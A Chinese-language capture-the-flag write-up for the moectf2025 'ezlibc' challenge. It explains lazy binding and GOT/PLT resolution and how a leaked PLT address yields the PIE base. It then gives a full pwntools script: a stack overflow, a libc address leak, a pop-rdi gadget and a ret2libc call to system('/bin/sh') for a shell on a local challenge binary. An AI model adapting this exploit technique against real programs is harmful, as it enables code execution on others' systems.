延迟绑定与动态链接——moectf2025_ezlibc

L1rics 发布于 21 天前 58 次阅读


本体涉及到延迟绑定与动态链接知识点,知识点详细的解释可以看一看这篇文章

https://www.cnblogs.com/pannengzhi/p/2018-04-09-about-got-plt.html

简单来说 第一遍泄露的地址是一个程序运行的地址PIE + 一段检测&装填got表的代码

printf 相当于第一次调用read这个外部函数,就会打印上面代码的地址

这一段好像就是检测read是否被装载在got表里 因为call read@plt->read@plt ->外部连接器,如果是直接打印地址就会打印这段解析的地址,也就是.plt的起始地址

那么plt偏移量就是0x1060 可以得到plt表的base,由于这个地址是固定的,也就可以得到整个程序的基础地址

再次打印read就会打印出got表中read的地址,也就是read的真实地址

之后便按部就班泄露libc地址 有下面两点注意

  • 无时不在的内存对齐 "ret"
  • 注意rbp的合理性 上一道system函数调用检查rbp的坑

exp

from pwn import * 
from LibcSearcher import LibcSearcher
sh = process("./pwn")

libc = ELF("./libc.so.6")
context(os = 'linux',arch = 'amd64',log_level = 'debug')
gdb.attach(sh)
elf = ELF("./pwn")

sh.recvuntil(b"use ")
leak = sh.recv(14)
read_got_plt = int(leak,16)
print(hex(read_got_plt))

pie_base = read_got_plt-0x1060
ret = pie_base + 0x00101a
main = pie_base + 0x0011CE

sh.recvuntil(b"Damn!\n")
payload1 = b"a"*0x28+p64(ret)+p64(main)
sh.sendline(payload1)

sh.recvuntil(b"use ")
leak = sh.recv(14)
read_got = int(leak,16)

print(hex(read_got))

libc_base = read_got - libc.symbols["read"]

system = libc_base + libc.symbols['system']
print('system:', hex(system))
binsh = libc_base + next(libc.search(b'/bin/sh'))
print('binsh:', hex(binsh))

rdi = libc_base + 0x2a3e5

payload2 = b"a"*0x20+p64(main)+p64(rdi)+p64(binsh)+p64(ret)+p64(system)    

sh.sendline(payload2)

pause()
sh.interactive()
此作者没有提供个人介绍。
最后更新于 2025-10-17